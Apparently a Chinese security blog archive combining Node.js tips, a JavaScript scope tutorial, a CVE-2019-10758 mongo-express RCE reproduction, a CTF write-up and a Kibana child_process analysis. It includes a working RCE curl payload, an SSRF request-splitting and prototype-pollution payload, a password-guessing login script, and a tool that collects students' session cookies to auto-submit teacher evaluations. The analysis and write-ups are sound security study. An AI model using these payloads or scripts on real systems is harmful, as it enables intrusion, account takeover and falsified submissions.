Node的一些应用技巧(持续更新)

Node的一些应用技巧(持续更新)

一边学一边记吧..一些能用的到的

puppeteer模拟登陆

对于表单加密,可以简单的用Pupputeer来模拟登陆,遇到前端加密的情况直接爆破密码。同样能够模拟爬虫,比webdriver要省事的多,而且支持document.queryselector,完全模拟浏览器操作

const puppeteer = require('puppeteer');

async function autoLogin(url,username,password){
    const browser = await puppeteer.launch({
        args: [ '--proxy-server=http://127.0.0.1:8080' ],
        headless: false
    });
    const page = await browser.newPage();

    for(var i=0, len=password.length; i<len; i++){
        pwd = password[i];
        await page.goto(url);
        await page.waitForSelector('#login');
        await page.type('#username', username,{ delay: 50 });
        await page.type('#password', pwd,{ delay: 50 });

        await page.click('#btn_click');

        await page.waitFor(200);
        let html = await page.content();
        if(html.indexOf('wrong') < 1){
            break
        }
    }

    // const tokenVal = await page.$eval('#token', input => input.value);
    await browser.close();
    // console.log("[*]got token is:"+tokenVal);

    page.on('error',(err)=>{
        console.log(err)
    });
}

var username = 'admin';
var password = ['password','root','sa','admin','admin123']

autoLogin('http://node.localhost.com/koa-demo/aes.html',username,password);

http发送请求

简单请求

对比python-request的优点在于不造成阻塞

function getack(target){
    return new Promise((resolve,reject)=>{
        let options = {
            url: target,
            headers: {
                'User-Agent': 'request'
            }
        };
        request.get(options, (error,response,body)=>{
            if (!error && response.statusCode == 200) { 
                resolve(body);
            }else{
                reject(error);
            }
        }).on('error', function(err) {
            rehect(err);
        }); 
    })

}

var target = 'http://server.com';

getack(target).then((body)=>{
    console.log(body);
})

携带cookie请求

request默认不带cookie请求,需要启动jar,获取一个jar对象带入options中,同时对其进行setCookie操作

const j = request.jar();
const cookie1 = request.cookie('username=admin');
const cookie2 = request.cookie('userid=123');
j.setCookie(cookie1, target);
j.setCookie(cookie2, target);

let options = {
    url: target,
    jar:j,
    headers: {
        'User-Agent': 'request'
    }
};

request.get(options, (error,response,body)=>{
    if (!error && response.statusCode == 200) { 
        resolve(body);
    }else{
        reject(error);
    }
}).on('error', function(err) {
    reject(err);
}); 

Response内置属性/方法

查看http.ServerResponse类属性和方法:http://nodejs.cn/api/http.html#http_class_http_serverresponse

HTTP-Server

快速搭建

Nodejs提供了内置的http-api,用来作为Server很方便,console出来便于收藏poc

//server.js
var http=require("http");

http.createServer(function(req,res){
    res.writeHead(200,{
        "content-type":"text/plain"
    });
    res.write("hello world");
    console.log(req.url)
    res.end();

}).listen(3000);

console.log("[*]server run on:http://127.0.0.1:3000")

设置Cookie

req.headers.cookie获取请求头的cookie。node中原生http通过setHeader设置cookie,response.setHeader(name, value)方法接收key,value键值对。

http.createServer(function(req,res){
    username = 'admin'
    userid = 1
    res.setHeader("Set-Cookie",[`username=${username}`,`userid=${userid}`]);
    res.writeHead(200,{
        "content-type":"text/plain"
    });
    console.log(req.url);
    res.end('hello world');

}).listen(3000);

当然也可以用JS-Cookie来操作cookie

调试Express框架

调试已启动的Node程序

在 launch.json 中作如下配置,VSCODE添加配置选项可自动添加

{
    // 使用 IntelliSense 了解相关属性。 
    // 悬停以查看现有属性的描述。
    // 欲了解更多信息,请访问: https://go.microsoft.com/fwlink/?linkid=830387
    "version": "0.2.0",
    "configurations": [
        {
            "type": "node",
            "request": "attach",
            "name": "Attach by Process ID",
            "processId": "${command:PickProcess}",
            "skipFiles": [
                "<node_internals>/**"
            ]
        }
    ]
}

启动调试之后会让你选择存在的进程号来指定调试程序
image_1dtsvrmsu4ij1hjp1abliqe1nh2m.png-116.6kB

断点位置

Express基于中间键,调试的时候很难找到入口。如果你跟中间键的话,它在加载框架时要加载一堆的中间键(query、inint、session、cookie)这些的很复杂。所以建议直接把断点打在路由中间件Route的dispatch方法上,因为dispacth就是分发路由,转到对应的实现方法
image_1dtses96u3m212l3rk713h615lr9.png-359.5kB

如果你想对中间键进行分析的话,建议把断点打在这里,因为只是进入中间键的第一步,fn是一个回调的函数
image_1dtsfb8ds4ebel43qt60o1rk99.png-366.2kB

相关文章

关于express中间键的加载以及路由的调度,强烈建议看这篇文章express源码分析

应用实例1-某信息工程大学全自动评教

由于贵校老师实在太多了,闲来无事写了个自动评教(默认全好评)。之所以写了一个koa,是因为最初我想挂到机房,同学们拿着cookie在我web端傻瓜式自动评教了。后来我发现贵校的sso的session竟然验证了ip,代码放出来。

const puppeteer = require('puppeteer');
const Koa = require('koa');
const router = require('koa-router');
const bodyParser = require('koa-bodyparser');

const app = new Koa()
const home  = new router()

async function autoFound(url,cookie){
        const browser = await puppeteer.launch({
            headless: false
        });
        const page = await browser.newPage();
        page.on('dialog',(dialog)=>{
            console.log(dialog.message());
            dialog.accept("确定");
        });

        page.on('error',(err)=>{
            console.log(err);
        });

        const cookies = [{
            name: 'semester.id',
            value: '105',
            domain: '210.41.225.2'
            },{
            name: 'JSESSIONID',
            value: cookie,
            domain: '210.41.225.2'
            },{
            name: 'GSESSIONID',
            value: cookie,
            domain: '210.41.225.2'
            }];

        await page.setCookie(...cookies);

        await page.goto(url);
        const result = await page.evaluate(() => {
            var list = [...document.querySelectorAll('td > a')]
            return list.map(el => {
                return {
                url: el.href.trim(),
                name: el.innerText
                }
            })
        })

        var answers = ['老师真好,我很喜欢跟他相处','老师工作认真负责,课后问题及时讲解','在老师的课堂上学到很多知识'];

        for(var i=0, len=result.length;i<len;i++){
            let bufurl = result[i]["url"];
            try{
                await page.goto(bufurl);
                await page.waitForSelector('.option-item');
                await page.click("input[id=option_425_0]");
                await page.click("input[id=option_426_0]");
                await page.click("input[id=option_427_0]");
                await page.click("input[id=option_428_0]");
                await page.click("input[id=option_429_0]");
                await page.click("input[id=option_430_0]");
                await page.click("input[id=option_431_0]");
                await page.click("input[id=option_432_0]");
                await page.click("input[id=option_433_0]");
                await page.click("input[id=option_434_0]");
                await page.click("input[id=option_435_0]");
                await page.click("input[id=option_436_0]");
                await page.click("input[id=option_437_4]");
                await page.click("input[id=option_438_3]");
                await page.click("input[id=option_439_0]");
                await page.click("input[id=option_440_0]");
                await page.type('.answer-textarea', answers[i%3],{ delay: 50 });
                await page.click('#sub');
                await page.waitFor(3000);
                console.log(result[i]['name']+"done!");
            }catch(err){
                try{
                    await page.goto(bufurl);
                    await page.waitForSelector('.option-item');
                    await page.click("input[id=option_382_0]");
                    await page.click("input[id=option_383_0]");
                    await page.click("input[id=option_384_0]");
                    await page.click("input[id=option_385_0]");
                    await page.click("input[id=option_386_0]");
                    await page.click("input[id=option_387_0]");
                    await page.click("input[id=option_388_0]");
                    await page.click("input[id=option_389_0]");
                    await page.click("input[id=option_390_0]");
                    await page.click("input[id=option_391_0]");
                    await page.click("input[id=option_392_0]");
                    await page.click("input[id=option_393_0]");
                    await page.click("input[id=option_502_4]");
                    await page.click("input[id=option_395_3]");
                    await page.click("input[id=option_396_0]");
                    await page.click("input[id=option_397_0]");
                    await page.type('.answer-textarea', answers[i%3],{ delay: 50 });
                    await page.click('#sub');
                    await page.waitFor(3000);
                    console.log(result[i]['name']+"done!");
                }catch(err){
                    await page.goto(bufurl);
                    await page.waitForSelector('.option-item');
                    await page.click("input[id=option_414_0]");
                    await page.click("input[id=option_415_0]");
                    await page.click("input[id=option_416_0]");
                    await page.click("input[id=option_417_0]");
                    await page.click("input[id=option_418_0]");
                    await page.click("input[id=option_419_0]");
                    await page.click("input[id=option_420_0]");
                    await page.click("input[id=option_421_0]");
                    await page.click("input[id=option_422_0]");
                    await page.click("input[id=option_423_0]");
                    await page.click("input[id=option_424_0]");
                    await page.type('.answer-textarea', answers[i%3],{ delay: 50 });
                    await page.click('#sub');
                    await page.waitFor(3000);
                    console.log(result[i]['name']+"done!");
                }
            }
        }
        await browser.close();
}

home.get('/',async(ctx)=>{
    let html = `
    <html>
    <body>
    <p>
        首先登陆jwc.cuit.edu.cn,"量化评教"的学情自己填了(否则不允许评教)
    </p>
    <p>
        然后浏览器f12控制台输入document.cookie,例如:
    </p>

    <p>
        GSESSIONID=B8209EC9AF980BDFE89CF0C43C356DC8
    </p>

    <p> 
        则把B8209EC9AF980BDFE89CF0C43C356DC8复制到框内提交
    </p>
    <form action="evaluate" method="post">
        <input type="text" id="cookie" name="Mycookie">
        <input type="submit" id="btn_click" name="submit"/>
    </form>
    </body>

    </html>`
    ctx.body = html

})

home.post('/evaluate',async(ctx)=>{
    cookie = ctx.request.body.Mycookie;
    ctx.body = "[+]waiting..后台正在帮您自动评教..请一分钟以后刷新jwc查看情况...";
    console.log(cookie);
    autoFound('http://210.41.225.2/eams/quality/stdEvaluate.action',cookie);
})

app.use(bodyParser())
app.use(home.routes()).use(home.allowedMethods());
app.listen(3000)
console.log('[demo] start-quick is starting at port 3000')

如果想改变对老师的印象可自行更改以下内容

['老师真好,我很喜欢跟他相处','老师工作认真负责,课后问题及时讲解','在老师的课堂上学到很多知识']

深入Javascript-作用域&Scope Chain

深入Javascript-作用域&Scope Chain

写在前面

前一段时间朋友面试keen问了个问题:JS作用域是什么?正好这两天有一道XSS-Challenge也涉及了作用域的trick,填补了很多知识空白(JS的世界真是太特喵的nb了),写一篇文章来扫个盲

什么是JavaScript的作用域

在JS中,一个函数内是否可访问某个变量,要看该变量的作用域(scope)。我们可以这样理解:作用域就是一个独立的地盘,让变量不会外泄、暴露出去。也就是说作用域最大的用处就是隔离变量,不同作用域下同名变量不会有冲突

变量的作用域有全局作用域和局部作用域(函数作用域)两种

全局作用域(Global Scope)

在代码中任何地方都能访问到的对象拥有全局作用域,一般来说以下三种情形拥有全局作用域

1-程序最外层定义的函数或者变量

举个最简单的例子如下,global变量就属于全局作用域,不管是在 checkscope() 函数内部还是外部,都能访问到全局变量 global,checkscope函数也属于全局作用域。

var global = "global";     // 显式声明一个全局变量
function checkscope() {
    var local = "local";   // 显式声明一个局部变量
    return global;         // 返回全局变量的值
}
console.log(scope);        // "global"
console.log(checkscope()); // "global"
console.log(local);        // error: local is not defined.

2-所有末定义直接赋值的变量

这个跟我们平常写代码的坏习惯有关,不加限制类型的变量会自动升级为全局作用域,这个就不限制在程序的最外层还是函数内部,示例如下:

username = 'hpdoger';

function echoName(){
    nickname = 'wuyanzu';
}

function CheckVal(){
    console.log(username); //hpdoger    
    console.log(nickname); //wuyanzu
}

echoName();
CheckVal();

3-Window对象的属性和方法

一般情况下,window对象的内置属性都拥有全局作用域,例如window.name、window.location、window.top等等

通常在Javascript中我们说全局对象,指的就是Window对象,引用this指代的也是Window对象,如果我们在程序中定义一个全局作用域的变量,那么它自然也会成为Window对象的属性,所以下面的用法是等价的

var name = 'hpdoger';

name == window.name; //true

局部作用域(Local Scope)

和全局作用域相反,局部作用域一般只在固定的代码片段内可访问到。最常见的是在函数体内定义的变量,只能在函数体内使用

举个最简单的例子如下

function init() {
    var inVariable = "local";
}
init();
console.log(inVariable); //Uncaught ReferenceError: inVariable is not defined

var声明的inVariaiable属于局部作用域范畴,在全局作用域没有声明,只能在函数内部调用。这时候你可能有个疑问,它是var的声明啊,他喵的不应该是全局变量吗??

实际上这跟它的声明方式没有一点关系。变量是否可引用,只由它的作用域决定。

局部作用域与全局作用域的制约

在函数体内,局部变量的优先级高于同名的全局变量。如果在函数内声明的一个局部变量或者函数参数中带有的变量和全局变量重名,那么全局变量就被局部变量所遮盖,而全局变量并不会因此发生值的变化,举个例子来看。

var username = 'hpdoger';

function echoNameA(username){
    console.log(username);//wuyanzu
}

function echoNameB(){
    var username = 'wuyanzu';
    console.log(username); //wuyanzu
}

echoNameA('wuyanzu');
echoNameB();
console.log(username);   //hpdoger

我们在这里用到遮盖这个词,其实是不准确的。因为读取变量值的方式是查找作用域链,也就是遍历Scope Chain,只是实现效果类似于遮盖。下文我们来看一下什么是Javascript的作用域链

什么是Javascript作用域链

基础概念

在寻找一个变量可访问性(取值)时是根据作用域链来查找的,作用域链的用途,是保证对执行环境有权访问的所有变量和函数的有序访问

我们先引入两个概念来走通scope chain

  • AO:Activetion Object(活动对象)
  • VO:Variable Object(变量对象)

AO对应的是函数执行阶段,当函数被调用执行时,会建立一个执行上下文,该执行上下文包含了函数所需的所有变量,该变量共同组成了一个新的对象就是Activetion Object。该对象包含了:

  • 函数的所有局部变量
  • 函数的所有命名参数
  • 函数的参数集合
  • 函数的this指向

举个例子来看函数执行的时候AO的值

function add(a,b){
    var sum = a + b;
    function say(){
        alert(sum);
    }
    return sum;
}

add(4,5);

如果我们用JS的对象来描述AO,那么它的表现形式如下

  AO = {
        this : window,
        arguments : [4,5],
        a : 4,
        b : 5,
        say : ,
        sum : undefined
  }

VO对应的是函数创建阶段,JS解析引擎进行预解析时,所有的变量和函数的声明,统称为Variable Object。该变量与执行上下文相关,知道自己的数据存储在哪里,并且知道如何访问。它分为全局上下文VO(全局对象,Global object,我们通常说的global对象)和函数上下文的AO,它存储着在上下文中声明的以下内容:

  • 变量 (var, 变量声明);
  • 函数声明 (FunctionDeclaration, 缩写为FD);
  • 函数的形参
function add(a,b){
    var sum = a + b;
    function say(){
        alert(sum);
    }
    return sum;
}
// sum,say,a,b 组合的对象就是VO,不过该对象的值基本上都是undefined

遍历作用域链

作用域链中的下一个变量对象来自包含(外部)环境,而再下一个变量对象则来自下一个包含环境。这样,一直延续到全局执行环境;全局执行环境的变量对象始终都是作用域链中的最后一个对象。

他喵的,上面好多都是我复制过来的,概念很复杂其实挺简单的,我们举一个简单的例子来看。

var x = 10;

function foo() {
    var y = 20;

    function bar() {
        var z = 30;

        console.log(x + y + z); //60
    };

    bar()
};

foo();

函数bar可以直接访问”z”,然后通过作用域链访问上层的”x”和”y”。此时的作用域链为:

此时作用域链(Scope Chain)有三级,第一级为bar AO,第二级为foo AO,然后Global Object(VO)

    scope -> bar.AO -> foo.AO -> Global Object

    bar.AO = {
        z : 30,
        __parent__ : foo.AO
    }

    foo.AO = {
        y : 20,
        bar : ,
        __parent__ : 
    }

    Global Object = {
        x : 10,
        foo : ,
        __parent__ : null
    }

很简单,就是先从当前的AO一步一步向上遍历AO对象查找,走后查到VO(存储全局对象的东西)

一个有趣的Scope Chain

我们看下面的例子,console.log的打印值为undefined

var username = 'hpdoger';

function echoName(){
    console.log(username);  //undefiend
    var username = 'wuyanzu';
}

echoName();

为啥不是hpdoger呢?这是因为AO建立的逻辑是要先声明变量,所以在函数eechoName中代码实际的执行流程是这样的:

function echoName(){
    var username;
    console.log(username);
    var username = 'wuyanzu';
}

CVE-2019-10758:mongo-expressRCE复现分析

CVE-2019-10758:mongo-expressRCE复现分析

早上室友说发了一则mongo-express的预警,正好看到陈师傅也发了twitter,动手分析一下,如有差错还望指正

漏洞复现

漏洞环境:
https://github.com/mongo-express/mongo-express#readme
https://github.com/masahiro331/CVE-2019-10758

自己从官方拉到本地+mongodb的服务端或者docker起一个未授权的mongo端都可以,poc直接就能打出来

curl 'http://localhost:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw=='  --data 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("/Applications/Calculator.app/Contents/MacOS/Calculator")'

image_1dto0qppb1f1v124r13mi1rugm8o5q.png-386.7kB

漏洞触发点

文件express-mongo/node_modules/mongo-express/lib/router.js进行路由事件的方法绑定
image_1dtnda3rm1r7412s61m5v1i71m5t3p.png-617.2kB

路由事件checkvalid对应的方法在文件express-mongo/node_modules/mongo-express/lib/routes/document.js,调用了toBSON

image_1dtndcghv1ltvs581mfp1nfr11hu46.png-64.8kB

在toBSON函数中将传入的参数放进vm2沙箱里去eval

exports.toBSON = function (string) {
  var sandbox = exports.getSandbox();

  string = string.replace(/ISODate\(/g, 'new ISODate(');
  string = string.replace(/Binary\(("[^"]+"),/g, 'Binary(new Buffer($1, "base64"),');

  vm.runInNewContext('doc = eval((' + string + '));', sandbox);

  return sandbox.doc;
};

绕一下vm2逃逸出来沙箱即可,详情可以看这篇文章Sandboxing NodeJS is hard, here is why

其他触发点

还有一处对mongo传值的地方也存在bson的问题,只是要校验是否存在数据库&表名,利用起来没有checkValid的链方便,不过大多数mongo库都会存在local的库+start_log这个collection

image_1dtr6dtch1t8kgrj1tq4c1jcivm.png-375kB

需不需要验证

mongo-express把原始config对象写在config.default.js文件中。

漏洞分析中的poc需要进行权限鉴定,也就是poc中使用了请求头Authorization: Basic YWRtaW46cGFzcw==的原因。删掉后请求则会返回未授权

image_1dto2g2p7kj6121c18ci1h4vq9i77.png-63.4kB

但是如果以cli+指定用户形式启动服务端与mongo的连接时,则不需要授权也能打(个人认为这种方式更常见一点?)
image_1du1fiujq1v2r1icnt5t3lctg69.png-524.8kB

下面是关于mongo-express调用basic-auth-connect的认证简单分析

认证流程分析

程序入口逻辑是这样的,如果你程序启动的时候给一个-u&-p参数则config.useBasicAuth为false,而config.useBasicAuth在加载配置的阶段默认为true

if (commander.username && commander.password) {
...
config.useBasicAuth = false;
}

接着看文件express-mongo/node_modules/mongo-express/lib/router.js,根据config.useBasicAuth的值绑定一个basicAuth中间键,如果初始启动程序的时候没有-u/-p参数,则获取配置文件的username&password(默认为admin:pass)来进行绑定

image_1dtntgtmr1cep1la29dnuaevf45d.png-591kB

这里假设我们启动程序的时候默认不传入-u/-p,则步入basicAuth函数。这里定义了两个全局变量username&password,来存储配置文件的用户名密码。

module.exports = function basicAuth(callback, realm) {
  var username, password;

  // user / pass strings
  if ('string' == typeof callback) {
    username = callback;
    password = realm;
    if ('string' != typeof password) throw new Error('password argument required');
    realm = arguments[2];
    callback = function(user, pass){
      return user == username && pass == password;
    }
  }

  realm = realm || 'Authorization Required';

  return function(req, res, next) {
    var authorization = req.headers.authorization;

    if (req.user) return next();
    if (!authorization) return unauthorized(res, realm);

    var parts = authorization.split(' ');

    if (parts.length !== 2) return next(error(400));

    var scheme = parts[0]
      , credentials = new Buffer(parts[1], 'base64').toString()
      , index = credentials.indexOf(':');

    if ('Basic' != scheme || index < 0) return next(error(400));

    var user = credentials.slice(0, index)
      , pass = credentials.slice(index + 1);

    // async
    if (callback.length >= 3) {
      callback(user, pass, function(err, user){
        if (err || !user)  return unauthorized(res, realm);
        req.user = req.remoteUser = user;
        next();
      });
    // sync
    } else {
      if (callback(user, pass)) {
        req.user = req.remoteUser = user;
        next();
      } else {
        unauthorized(res, realm);
      }
    }
  }
};

在这之后的所有请求则必须都要有req.headers.authorization,来与全局变量username&password比对进行认证,否则返回Unauthorized。

所以要想不进入basicAuth函数,只需要config.useBasicAuth = false

cli启动-未授权

在mongo-express中还有一种启动方式,即用命令行传递参数。
image_1dto26qrj1bge18bm6o41o13bn667.png-44.5kB

由于poc中,用docker拉的mongodb默认是未授权的形式,所以不需要-u&-p来指定数据库的账号密码。但是实际环境中mongodb不太可能是未授权,所以我觉得以cli+参数启动服务的场景应该算是多见吧。

那么如果受害者指定了用户名&密码去启动express-mongo,那么攻击者直接未授权就可以打(即不需要指定authoriza header)

不过在官方文档中给出了一句话:

You can use the following environment variables to modify the container's configuration

因为config.default.js默认会从环境变量中加载mongodb的用户名&密码,这样无需参数就能启动服务,也顺便避免了未授权的问题

官方修复

https://github.com/mongo-express/mongo-express/commit/d8c9bda46a204ecba1d35558452685cd0674e6f2

在0.54.0中将bson.js中的vm依赖删除,改用mongo-query-parser

image_1dtohg4gq10ehc9k100fbfq11ok8u.png-32.5kB

express分析

框架流程,使用一堆中间键

然后启动流程就是对中间键的层级调用,具体看这篇文章:https://shadowwood.me/2016/08/27/2016-08-27-express-origin-code-analysis/

核心的两步:
layer.handle_request(req, res, next);

/*
handle_request定义的就是express应用中的路由中间件请求处理函数,也就是例如app.get(‘/test’, function(req, res, next){})的操作最后的执行位置。
*/

/*
layer.handle_request会执行layer.route的dispatch操作,也就是在Route中派发路由最终执行到在express中定义的对应的路由操作函数,之后又执行next()就又到了这里的proto.stack中的下一个遍历操作。
*/


//handle_request原生是这样写的:

Layer.prototype.handle_request = function handle(req, res, next) {
  var fn = this.handle;

  if (fn.length > 3) {
    // not a standard request handler
    return next();
  }

  try {
    fn(req, res, next);
  } catch (err) {
    next(err);
  }
};

My 2019

My 2019

9102年的最后一天,按照国际惯例还是要记录一下。

从18年底到现在,大大小小的flag立了无数,自己都忘记完成了些什么,又有多少计划搁浅了。2019年最遗憾的是懒狗的本质还是没有改掉。

记得18年的这个时候我给自己定了个标签叫”蜕变”。因为18年是我大学入门安全的第一年,从一知半解到求知的过程像是破茧成蝶,充满坎坷但是有股奋斗的劲头。

然而,我想了很久也没能找到合适的词汇来描述19这一年,绞尽脑汁也没想起来今年都做过哪些有意义的事。无论是天南海北的打比赛、还是去学着挖洞,都比不上18年那股热情。好在当初立下的flag还是完成了一些,勉强也算是在技术上有一些进步,那干脆19年就叫”自定义”好了。

“自定义”了些什么呢?挖洞/审计/CTF?感觉每样都沾边,但是每样又没做到很好。懒狗的毛病又被无限化放大,干啥都是三分钟热度。举个例子来说:当初说要好好挖SRC,结果自动化的工具写了几天就去玩儿了,亦或者被其他琐事缠身(搬砖),没有持之以恒。有位大师傅说得好,搞安全、挖漏洞,讲求的不光是门路多、思路广,还要学会坐得住、坐得稳。也希望自己来年可以学会如何专心

记录一下2019年自己小赚人生第一桶金吧,虽然挣的确实不多,而且也特别累。上半年入手了自己的mbp,下半年猪肉涨价全用来吃饭了。可能是信安这个行业在今年突然变火的原因吧,还是搬了一些小砖,也浪费了不少时间。下半年以后太懒了也就不做这些了,主要原因还是想去多学点东西。通过hw或者一些其他项目对信安这个专业有了一些收入的认知。只要live as a tool man,还是能取得不错的薪资,但这必不可能是我们的归途。我是永远觉得金钱<<热情,希望自己在未来能够有能力说出这句话。

未来的一年要备战考研,博客大概率会长草,打算趁着寒假还有时间就多发几篇

20,继续做那个有点理想的普通人。

最后,祝这个世界依旧热闹,祝我仍是我。

I-SOON2019-Membershop出题思路

写在前面

今年是第二年出题,鉴于去年题目过于简单(去年我是真的sb且敷衍),今年题目我憋了蛮长时间的(狗日的前端),本希望做到这题的师傅们能有所收获。但是比赛跟各位师傅的时间还是冲突了,加之校赛的局限,实际也没多少人在打。比赛当天下午,Membershop容器的峰值也就5、6个的样子。其实题目并不是很难。

虽然最后没能达到自己预期的做题效果,算是有点点失望吧。但是我相信D0g3一定能把比赛办出去,感谢运维小哥@0akarma跟我一起调试动态容器的bug,关于全部的题目环境在:http://dao.ge/isoon2019

环境搭建

题目开源地址:https://github.com/Hpd0ger/My_ctf_challenge/

修改index.js的server_ip为环境的ip

docker-compose build
docker-compose up -d

解题步骤

登陆的时候过滤了admin,同时发现小写字符转换成了大写字母显示。结合set-cookie是koa的框架,很容易联想到后端使用toUpperCase()做转换,拉丁文越权登陆admın

image_1dr12lu22vs4iq44id1vuas21m.png-38.1kB

登陆成功之后多了一个请求记录的功能,同时登陆成功后给出源码的地址

image_1dr12phlo1hc31vqi17fvahuhgr16.png-48.1kB

拿到源码后简单看登陆逻辑
image_1dmbk6vlo19d413cc13h8b108q913.png-57.7kB

逻辑根据传入的用户名userName会在登陆前经过一次检测
image_1dmbk45jltj28kro9c1kjdkshm.png-65.8kB

当传入的用户名包含admin时,则自动循环replace掉。在登陆成功的同时会把username写进session里,这里可以看到只有我们登陆了admin才有权限加载其他模版
image_1dmbkcg89ijlmd61vef209bti1g.png-160.3kB

漏洞点在代码76-117行,它只允许请求以http://127.0.0.1:3000/query(后面拉到本地环境会改127.0.0.1这个地址,这是我本地debug)开头的url。输入其他开头的url会被error url,而且不存在任何host的绕过。当请求之后会被记录在sandbox的results.txt里面并且支持追加,sandbox根据ip建立
image_1dmbkrtpt1pkv1q561o9kf2p10hj2n.png-28.9kB
image_1dmbku3fk399n211cvq49r1emt34.png-33.7kB

因为query也是一个路由,那么这里就存在一个ssrf。如何bypass去请求其他路由呢?只需要用unicode编码并且分割http包,例如

http://127.0.0.1:3000/query?param=1\u{0120}HTTP/1.1\u{010D}\u{010A}Host:\u{0120}127.0.0.1:3000\u{010D}\u{010A}Connection:\u{0120}keep-alive\u{010D}\u{010A}\u{010D}\u{010A}GET\u{0120}/\u{0173}\u{0161}\u{0176}\u{0165}

url编码是16进制,\u{01xx}在http.get的时候不会进行percent encode,但是在buffer写入的时候会把xx解码。其中\u{0173}\u{0161}\u{0176}\u{0165}代表的是save,73617665是save的16进制表示。具体原理可以看:通过拆分请求来实现的SSRF攻击

接着就寻找一下其他路由存在的问题,可利用点在/save

home.get('/save',async(ctx)=>{
    let ip = ctx.request.ip;
    let reqbody = {switch:false}
    reqbody = qs.parse(ctx.querystring,{allowPrototypes: false});

    if (ip.substr(0, 7) == "::ffff:") {
        ip = ip.substr(7);
    }
    if (ip !== '127.0.0.1' && ip !== server_ip) {
        ctx.status = 403;
        ctx.response.body = '403: You are not the local user';
    }else {
        if(reqbody.switch === true && reqbody.sandbox && reqbody.opath &&fs.existsSync(reqbody.spath)){
            if(fs.existsSync(reqbody.sandbox)){
                paths.opath = fs.readdirSync(reqbody.sandbox)[0];
            }else if(fs.existsSync(reqbody.opath)){
                let buffer;
                tmp[reqbody.sandbox]['opath'] = reqbody.opath;
                if(/[flag]/.test(tmp[reqbody.sandbox]['opath'])){
                    buffer = tmp[reqbody.sandbox]['opath'].replace(/f|l|a|g/g,'');
                }else{
                    buffer = reqbody.opath;
                }
            }
            let opath = paths.opath? paths.opath : buffer;
            let text = fs.readFileSync(opath, 'utf8');
            await WriteResults(reqbody.spath,text);

        }else{
            return false;
        }
    }
})

这里大致有两个障碍点:

1、限制了本地127.0.0.1访问
->ssrf解决

2、通过qs包解析url参数存为对象,switch默认为flase,配置allowPrototypes=false,直接传递http参数不能覆盖switch。qs.parse() bypass for prototype pollution@qs<6.3,参考链接:Prototype Override Protection Bypass,传参:]=switch绕过

3、解析获得的对象需要三个参数sandbox、opath、spath。代码逻辑就是如果存在sandbox那么就取sandbox下的第一个文件(即results.txt)读取后写入spath,否则读取自定义的opath,将结果写入spath(两者前提都是spath必须存在且可写,只有sandbox/result.txt满足要求)。但是自定义opath会替换所有的[flag]字段,不允许直接读flag。

这里存在判断的绕过。原型链污染sandbox下的一个文件为/flag,再去自定义读到spath里

tmp['__proto__']['opath'] = '/flag';
=>
paths.opath = /flag

构造一下就能把flag追加写入到sandbox/results.txt。poc如下,调整一下opath为flag地址,sandbox为自己的md5(ip)就行了:

encodeURI("http://127.0.0.1:3000/query?param=1\u{0120}HTTP/1.1\u{010D}\u{010A}Host:\u{0120}127.0.0.1:3000\u{010D}\u{010A}Connection:\u{0120}keep-alive\u{010D}\u{010A}\u{010D}\u{010A}GET\u{0120}/\u{0173}\u{0161}\u{0176}\u{0165}?]=switch&sandbox=__proto__&opath=/flag&spath=tmp/ab54a5cf83f67d827ecba68e394f9196")

从Kibana-RCE对nodejs子进程创建的思考

从Kibana-RCE对nodejs子进程创建的思考

在前几天Kibana有一则关于原型链污染+子进程调用=>rce的漏洞,跟进分析的时候发现child_process实现子进程创建确实存在trick。于是有了下文是对child_process的实现和Kibana RCE的一点思考。

child_process建立子进程的实现

对于child_process大家应该都不陌生,它是nodejs内置模块,用于新建子进程,在CTF题目中也常使用require('child_process').exec('xxx')来RCE。

child_process内置了6个方法:execFileSync、execSync、fork、exec、execFile、spawn()

其中execFileSync()调用spawnSync(),execSync()调用spawnSync(),而spawnSync()调用spawn();exec()调用execFile(),而execFile()调用spawn();fork()调用spawn()。也就是说前6个方法最终都是调用spawn(),而spawn()的本质是创建ChildProcess的实例并返回。那我们直接对spawn这个方法进行分析

测试代码:

const { spawn } = require('child_process');

spawn('whoami').stdout.on('data', (data) => {
    console.log(`stdout: ${data}`);
  });

Node使用模块child_process建立子进程时,调用用户层面的spawn方法。初始化子进程的参数,进入方法normalizeSpawnArguments

var spawn = exports.spawn = function(/*file, args, options*/) {
  var opts = normalizeSpawnArguments.apply(null, arguments);
};

跟进方法normalizeSpawnArguments,当options不存在时将options命为空对象。接着到下面最关键的一步,即获取env变量的方式。首先对options.env是否存在做了判断,如果options.env为undefined则将环境变量process.env的值复制给env。而后对envParivs这个数组进行push操作,其实就是env变量对应的键值对。

function normalizeSpawnArguments(file, args, options) {
    ...//省略
  if (options === undefined)
    options = {};

    ...//省略
  var env = options.env || process.env;
  var envPairs = [];

  for (var key in env) {
    envPairs.push(key + '=' + env[key]);
  }

  _convertCustomFds(options);

  return {
    file: file,
    args: args,
    options: options,
    envPairs: envPairs
  };
}

image_1dpddlch71nmr1v2g1jgs1guv18nj2a.png-386.4kB

这里就存在一个问题,options默认为空对象,那么它的任何属性都存在被污染的可能。所以只要能污染到Object.prototype,那么options就可以添加我们想要的任何属性,包括options.env。经过normalizeSpawnArguments封装并返回后,建立新的子进程new ChildProcess(),这里才算进入内部child_process的实现。

var opts = normalizeSpawnArguments.apply(null, arguments);
var options = opts.options;
var child = new ChildProcess();

child.spawn({
file: opts.file,
args: opts.args,
cwd: options.cwd,
windowsVerbatimArguments: !!options.windowsVerbatimArguments,
detached: !!options.detached,
envPairs: opts.envPairs,
stdio: options.stdio,
uid: options.uid,
gid: options.gid
});

我们直接看ChildProcess.spawn如何实现,也就是原生的spawn。核心代码逻辑是下面的两句,具体代码在process_wrap.cc

ChildProcess.prototype.spawn = function(options) {
  //...
  var err = this._handle.spawn(options);
  //...
  // Add .send() method and start listening for IPC data
  if (ipc !== undefined) setupChannel(this, ipc);
  return err;
};

this._handle.spawn调用了process_wrap.cc的spawn来生成子进程,是node子进程创建的底层实现,那我们看一下process_wrap.cc中对options的值进行了怎样的操作,。

  static void Spawn(const FunctionCallbackInfo<Value>& args) {
    //获取js传过来的第一个option参数
    Local<Object> js_options = args[0]->ToObject(env->context()).ToLocalChecked();

    ...
    // options.env
    Local<Value> env_v =
        js_options->Get(context, env->env_pairs_string()).ToLocalChecked();
    if (!env_v.IsEmpty() && env_v->IsArray()) {
      Local<Array> env_opt = Local<Array>::Cast(env_v);
      int envc = env_opt->Length();
      CHECK_GT(envc + 1, 0);  // Check for overflow.
